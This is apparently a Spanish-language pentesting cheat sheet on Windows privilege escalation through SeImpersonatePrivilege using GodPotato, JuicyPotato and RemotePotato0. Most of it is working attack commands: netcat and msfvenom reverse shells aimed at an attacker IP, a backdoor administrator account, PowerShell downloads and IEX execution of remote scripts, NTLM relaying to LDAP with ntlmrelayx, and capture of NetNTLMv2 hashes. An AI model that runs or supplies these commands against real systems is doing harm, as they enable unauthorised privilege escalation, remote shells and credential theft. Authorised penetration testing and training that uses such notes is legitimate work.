#ActiveDirectory #privesc #seimpersonateprivilege #windows
Potatos: engañar a un servicio privilegiado de Windows para que se autentique contra un servidor controlado por el atacante, capturar esa autenticación y reutilizarla (retransmitirla) para ganar control total.
SeImpersonatePrivilege
GitHub - BeichenDream/GodPotato
.\gp.exe -cmd "nc64.exe -e cmd.exe IP ATACANTE PUERTO"O crear un nuevo usuario admin
net user m0b Password123! /add
net localgroup Administrators m0b /add
net localgroup "Remote Management Users" m0b /addSi no va así probaremos con JuicyPotato (versión de 32 o 64 bits):
powershell -c Invoke-WebRequest -Uri "http://IP:PORT/nc.exe" -OutFile nc.exe
powershell -c Invoke-WebRequest -Uri "http://IP:PORT/JuicyPotato.exe" -OutFile JuicyPotato.exe
powershell -c Invoke-WebRequest -Uri "http://IP:PORT/rshell.bat" -OutFile rshell.batrshell.bat
C:\Users\kohsuke\AppData\Local\Temp\pentesting\nc.exe -e powershell.exe IP PORTsudo rlwrap -cAr nc -lvnp PORT./jp.exe -p ./rshell.bat -l 3333 -t * -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"Usar otro CLSID según versión de Windows
juicy-potato/CLSID at master · ohpe/juicy-potato · GitHub
Probar con shell de msfvenom (32 o 64 bits)
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe -o revShell.exeRemotePotato0
Le decimos a un servicio DCOM (que se ejecuta bajo la identidad del usuario que tiene la sesión activa actualmente en la máquina) que trate de cargar el servicio de nuestra dirección de red. Nos montamos un servidor RPC y rebotamos la autenticación NTLM hacia la máquina víctima de nuevo, recogemos el hash NTLMv2 del usuario. Si la autenticación por NTLM estuviese habilitado en el entorno, se podría rebotar a LDAP para hacer RBCD por ejemplo (tampoco tiene que estar firmado)
Modo 1: Rebotar hash NetNTLMv2
- Requiere LDAP signing y binding deshabilitado
- Vulnerable a DropTheMIC en muchos casos
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:192.168.100.2:9999Con ldap o ldaps , dependerá lo que queramos hacer
sudo ntlmrelayx.py -t ldap://10.129.244.95 -smb2support --no-wcf-server --remove-mic --no-dump --no-da --no-acl --no-validate-privs -i.\RemotePotato0.exe -m 0 -s 1 -r 10.10.15.3 -x 10.10.15.3 -p 9999Modo 2: Capturar hash NetNTLMv2
Necesario :
- Que haya un usuario logueado en la máquina
IEX(New-Object Net.WebClient).downloadString('http://10.10.15.3/Invoke-RunasCs.ps1')Podemos usar un logon type 9 (que usa las creds actuales) + unas creds falsas
Invoke-RunasCs -Username 0xEr3bus -Password 0xEr3bus -LogonType 9 -Command qwinsta- Tenemos que estar logueados en la sesión 0 (por el servicio winrm)
- Y la víctima en la sesión 1
En nuestra máquina nos ponemos en escucha por el puerto 135 y hacemos el forwarding por el 9999 de vuelta a la máquina (porque en la máquina no podemos escuchar en la 135 porque ya está ocupado por un puerto legítimo de rpc)
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:IPVICTIMA:9999Modo 2 : capturar NetNTLMv2 y hacer potato sobre la sesión 1
.\RemotePotato0.exe -m 2 -s 1 -x 10.10.14.2Deberíamos ver el hash del usuario de la sesión 1 por pantalla.